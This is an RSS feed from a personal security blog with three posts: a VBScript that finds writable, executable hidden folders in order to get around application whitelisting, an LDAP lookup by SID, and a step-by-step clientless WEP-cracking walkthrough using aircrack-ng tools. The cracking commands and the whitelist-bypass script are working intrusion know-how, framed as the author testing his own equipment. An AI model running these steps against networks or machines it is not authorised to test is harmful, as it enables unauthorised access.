<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>durdle.com &#187; Security</title>
	<atom:link href="http://durdle.com/archives/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://durdle.com</link>
	<description></description>
	<lastBuildDate>Mon, 23 Aug 2010 11:25:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>FindTheHole.vbs</title>
		<link>http://durdle.com/archives/2008/08/11/findtheholevbs/</link>
		<comments>http://durdle.com/archives/2008/08/11/findtheholevbs/#comments</comments>
		<pubDate>Mon, 11 Aug 2008 09:59:39 +0000</pubDate>
		<dc:creator>Howard</dc:creator>
				<category><![CDATA[Scripting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[effective permissions]]></category>
		<category><![CDATA[permissions]]></category>
		<category><![CDATA[vbscript]]></category>
		<category><![CDATA[WMI]]></category>

		<guid isPermaLink="false">http://blog.durdle.com/?p=388</guid>
		<description><![CDATA[Recently I needed to write a script that could locate a folder on a system that had particular characteristics.  I was looking for hidden folders that the logged on user had rights to read, write/append and execute on.  ie, they can drop a binary into the folder and then run it.
This is the script I...]]></description>
			<content:encoded><![CDATA[<p>Recently I needed to write a script that could locate a folder on a system that had particular characteristics.  I was looking for hidden folders that the logged on user had rights to read, write/append and execute on.  ie, they can drop a binary into the folder and then run it.</p>
<p>This is the script I came up with.  It uses a WMI query and method to first locate all the hidden folders on the system, and then compare each ones effective permissions to a mask I created:</p>
<div class="wp_syntax">
<div class="code">
<pre class="vbnet" style="font-family:monospace;">strComputer <span style="color: #008000;">=</span> <span style="color: #808080;">&quot;.&quot;</span>
<span style="color: #FF8000;">Set</span> objWMIService <span style="color: #008000;">=</span> GetObject<span style="color: #000000;">&#40;</span><span style="color: #808080;">&quot;winmgmts:&quot;</span> _
<span style="color: #008000;">&amp;</span> <span style="color: #808080;">&quot;{impersonationLevel=impersonate}!&quot;</span> <span style="color: #008000;">&amp;</span> strComputer <span style="color: #008000;">&amp;</span> <span style="color: #808080;">&quot;rootcimv2&quot;</span><span style="color: #000000;">&#41;</span>
<span style="color: #FF8000;">Set</span> colFiles <span style="color: #008000;">=</span> objWMIService.<span style="color: #0000FF;">ExecQuery</span> _
<span style="color: #000000;">&#40;</span><span style="color: #808080;">&quot;Select * from Win32_Directory Where Hidden = True&quot;</span><span style="color: #000000;">&#41;</span>
wscript.<span style="color: #0000FF;">echo</span> <span style="color: #808080;">&quot;Hidden folders which you can write to...&quot;</span>
intW <span style="color: #008000;">=</span> <span style="color: #FF0000;">0</span> <span style="color: #008080; font-style: italic;">' initialise Writable folder count</span>
<span style="color: #008080; font-style: italic;">' Iterate through each hidden folder on the computer</span>
<span style="color: #FF8000;">For</span> <span style="color: #0600FF;">Each</span> objFile in colFiles
	<span style="color: #008080; font-style: italic;">' Ignore some well known hidden folders</span>
	<span style="color: #0600FF;">If</span> <span style="color: #0600FF;">InStr</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">lcase</span><span style="color: #000000;">&#40;</span>objFile.<span style="color: #0000FF;">Name</span><span style="color: #000000;">&#41;</span>, <span style="color: #808080;">&quot;documents and settings&quot;</span><span style="color: #000000;">&#41;</span> or _
		<span style="color: #0600FF;">InStr</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">lcase</span><span style="color: #000000;">&#40;</span>objFile.<span style="color: #0000FF;">Name</span><span style="color: #000000;">&#41;</span>, <span style="color: #808080;">&quot;$nt&quot;</span><span style="color: #000000;">&#41;</span> or _
		<span style="color: #0600FF;">InStr</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">lcase</span><span style="color: #000000;">&#40;</span>objFile.<span style="color: #0000FF;">Name</span><span style="color: #000000;">&#41;</span>, <span style="color: #808080;">&quot;$hf_mig$&quot;</span><span style="color: #000000;">&#41;</span> or _
		<span style="color: #0600FF;">InStr</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">lcase</span><span style="color: #000000;">&#40;</span>objFile.<span style="color: #0000FF;">Name</span><span style="color: #000000;">&#41;</span>, <span style="color: #808080;">&quot;ie7updates&quot;</span><span style="color: #000000;">&#41;</span> or _
		<span style="color: #0600FF;">InStr</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">lcase</span><span style="color: #000000;">&#40;</span>objFile.<span style="color: #0000FF;">Name</span><span style="color: #000000;">&#41;</span>, <span style="color: #808080;">&quot;visual studio&quot;</span><span style="color: #000000;">&#41;</span> or _
		<span style="color: #0600FF;">InStr</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">lcase</span><span style="color: #000000;">&#40;</span>objFile.<span style="color: #0000FF;">Name</span><span style="color: #000000;">&#41;</span>, <span style="color: #808080;">&quot;dllcache&quot;</span><span style="color: #000000;">&#41;</span> or _
		<span style="color: #0600FF;">InStr</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">lcase</span><span style="color: #000000;">&#40;</span>objFile.<span style="color: #0000FF;">Name</span><span style="color: #000000;">&#41;</span>, <span style="color: #808080;">&quot;$patchcache$&quot;</span><span style="color: #000000;">&#41;</span> <span style="color: #FF8000;">Then</span>
	<span style="color: #FF8000;">Else</span>
		<span style="color: #008080; font-style: italic;">' Can we read (1), write (2, 4), and execute (32) in this folder?</span>
		intPermissions <span style="color: #008000;">=</span> <span style="color: #FF0000;">39</span>
		<span style="color: #008080; font-style: italic;">' Use WMI method to compare permissions</span>
		<span style="color: #0600FF;">If</span> objFile.<span style="color: #0000FF;">GetEffectivePermission</span><span style="color: #000000;">&#40;</span>intPermissions<span style="color: #000000;">&#41;</span> <span style="color: #FF8000;">Then</span>
			wscript.<span style="color: #0000FF;">echo</span> objFile.<span style="color: #0000FF;">Name</span>
			intW <span style="color: #008000;">=</span> intW <span style="color: #008000;">+</span> <span style="color: #FF0000;">1</span>
		<span style="color: #0600FF;">End</span> <span style="color: #0600FF;">If</span>
	<span style="color: #0600FF;">End</span> <span style="color: #0600FF;">If</span>
<span style="color: #FF8000;">Next</span>
wscript.<span style="color: #0000FF;">echo</span> intW <span style="color: #008000;">&amp;</span> <span style="color: #808080;">&quot; vulnerable folders.&quot;</span></pre>
</div>
</div>
<p>This was important as part of a wider effort to prove a particular vulnerability existed.  Imagine the scenario where a standard user is prevented from running unknown binaries except for one hidden folder somewhere on the system which is excluded from this protection.  If one could quickly find that folder, the user could run whatever he liked.</p>
<p>I&#8217;m aware that there are plenty of command line tools that would have helped in this endeavour (such as AccessChk) but remember: this is a system where unauthorised apps can not be run.  It&#8217;s VBScript or nothing.</p>
]]></content:encoded>
			<wfw:commentRss>http://durdle.com/archives/2008/08/11/findtheholevbs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LDAP Query based on account SID in VBscript</title>
		<link>http://durdle.com/archives/2008/01/09/ldap-query-based-on-account-sid-in-vbscript/</link>
		<comments>http://durdle.com/archives/2008/01/09/ldap-query-based-on-account-sid-in-vbscript/#comments</comments>
		<pubDate>Wed, 09 Jan 2008 12:36:16 +0000</pubDate>
		<dc:creator>Howard</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[vbscript security ldap sid wmi]]></category>

		<guid isPermaLink="false">http://blog.durdle.com/archives/2008/01/09/ldap-query-based-on-account-sid-in-vbscript/</guid>
		<description><![CDATA[This is a bit of code I wish I&#8217;d found sooner.  There is a &#8211; it seems mostly undocumented &#8211; feature of the ldap provider in Server 2003 that allows you to form an ldap query just on the SID of an account:



bindSid = &#34;LDAP://&#38;lt;sid =&#34; &#38;amp; SID &#38;amp; &#34;&#38;gt;&#34;
set oVal = GetObject(bindSid)
Result =...]]></description>
			<content:encoded><![CDATA[<p>This is a bit of code I wish I&#8217;d found sooner.  There is a &#8211; it seems mostly undocumented &#8211; feature of the ldap provider in Server 2003 that allows you to form an ldap query just on the SID of an account:<br />
</p>
<div class="wp_syntax">
<div class="code">
<pre class="vbscript" style="font-family:monospace;">bindSid = &quot;LDAP://&amp;lt;sid =&quot; &amp;amp; SID &amp;amp; &quot;&amp;gt;&quot;
set oVal = GetObject(bindSid)
Result = oVal.Get(&quot;cn&quot;)
set oVal = Nothing</pre>
</div>
</div>
<p>So if you have a list of SIDs and want to translate them into meaningful account names, this will do it without relying on using WMI &#8211; which on a lot of secure networks is locked down (or at least should be!).</p>
<p>Why do I need this?  It&#8217;s a part of a larger script I&#8217;m writing that will archive specific Group Policy Objects from the <strong>\SYSVOL\&lt;domainname&gt;\Policies\</strong> folder of a PDCe.  One of the files in a GPO is the <strong>GptTmpl.inf</strong> file which gives a list of the <a title="User Rights Assignments" href="http://technet2.microsoft.com/windowsserver/en/library/71b2772f-e3c0-4134-b7f0-54c244ee9aef1033.mspx?mfr=true" target="_blank">User Rights Assignments</a> (SeBackupPrivilege, SeShutdownPrivileg etc) along with the SIDs of the accounts that have been given those privileges (e.g. S-1-5-19).  I wrote a script that reads the SIDs and queries the DC for the account names.  This code fragment works more reliably (and I think faster) than the WMI calls I was previously using.</p>
]]></content:encoded>
			<wfw:commentRss>http://durdle.com/archives/2008/01/09/ldap-query-based-on-account-sid-in-vbscript/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Clientless WEP Cracking</title>
		<link>http://durdle.com/archives/2007/03/08/clientless-wep-cracking/</link>
		<comments>http://durdle.com/archives/2007/03/08/clientless-wep-cracking/#comments</comments>
		<pubDate>Thu, 08 Mar 2007 19:21:11 +0000</pubDate>
		<dc:creator>Howard</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://blog.durdle.com/archives/2007/03/08/clientless-wep-cracking/</guid>
		<description><![CDATA[In case you weren’t aware, using WEP to secure your home network is a bit like putting a sign on your front door letting everyone know that you do have a key to keep it locked, but if they can work out your clue they’ll be able to find it.  And then leaving your...]]></description>
			<content:encoded><![CDATA[<p>In case you weren’t aware, using WEP to secure your home network is a bit like putting a sign on your front door letting everyone know that you do have a key to keep it locked, but if they can work out your clue they’ll be able to find it.  And then leaving your key under the mat.</p>
<p>I&#8217;ve tried cracking WEP before with limited success &#8211; relying on the network to be busy enough to capture packets doesn&#8217;t make for reliable cracking, but this method is different &#8211; forcing the access point to produce all the packets we need for analysis.  I thought it was time I finally proved to myself that it was possible so I dug out the old BT Homehub device and switched on the wireless before booting my MacBook Pro off an excellent pen test Live CD – <a target="_blank" title="BackTrack2 Live CD for PenTesting" href="http://www.remote-exploit.org/backtrack.html">BackTrack</a>.<span id="more-252"></span></p>
<p>All you need is a machine with a wireless card, the BackTrack CD, the MAC address of your target access point, the SSID (the network “name”) and the MAC address of your wireless card.</p>
<p class="MsoNormal">Once booted, here are the steps I took to obtain the WEP key for the network:</p>
<pre>
airmon-ng start wifi0 11
wlanconfig ath0 destroy

export AP=00:14:7F:95:5B:AC    <span style="color: #e36c0a">< -- Access Point MAC</span>
export WIFI=00:14:51:XX:XX:XX  </span><span style="color: #e36c0a">< -- WLAN Card MAC</span>
export SSID=BTHomeHub-1100     </span><span style="color: #e36c0a">< -- SSID of target network</span>

ifconfig ath1 up
iwconfig ath1 mode Monitor channel 11
aireplay-ng -1 0 -e $SSID -a $AP -h $WIFI ath1
</pre>
<p>At this point you should see an “Association Successful!” message, you can continue with:</p>
<pre>
aireplay-ng -5 -b $AP -h $WIFI ath1
</pre>
<p>You’ll now have to wait until aireplay returns with the packet it has found, when it asks to keep it, say yes.  It’ll get saved to a fragment.xor file.  You can use the .xor file to forge the packet we’re going to throw at the access point:</p>
<pre>
packetforge-ng -0 -a $AP -h $WIFI -k 255.255.255.255 -l 255.255.255.255 -y fragment.xor -w arp-request
</pre>
<p>This will write the forged packet to the file arp-request.  Now, time to start capturing the packets we’re going to analyse:</p>
<pre>airodump-ng -c 11 -bssid $AP --ivs -w cap ath1</pre>
<p>In a new console, start throwing the arp-request packet out to the access point:</p>
<pre>aireplay-ng -2 -r arp-request ath1</pre>
<p>When it finds our packet, say yes and it will start broadcasting.  You should see the airodump stats start to skyrocket at this point.  After you’ve got approx 70000 data packets in the airodump window, start another console and run:</p>
<pre>aircrack-ng -n 64 -b $AP *.ivs</pre>
<p>This will do the work of cracking the key from the captured packets, after a while (less than a minute for me) it will hopefully spit out something like the following:</p>
<p><a class="imagelink" title="Success!" href="/wp-content/uploads/image002.jpg" rel="lightbox[252]"><img width="128" height="53" id="image251" alt="Success!" src="/wp-content/uploads/image002.thumbnail.jpg" /></a></p>
<p>Job done.  Told you WEP was easy.</p>
]]></content:encoded>
			<wfw:commentRss>http://durdle.com/archives/2007/03/08/clientless-wep-cracking/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>
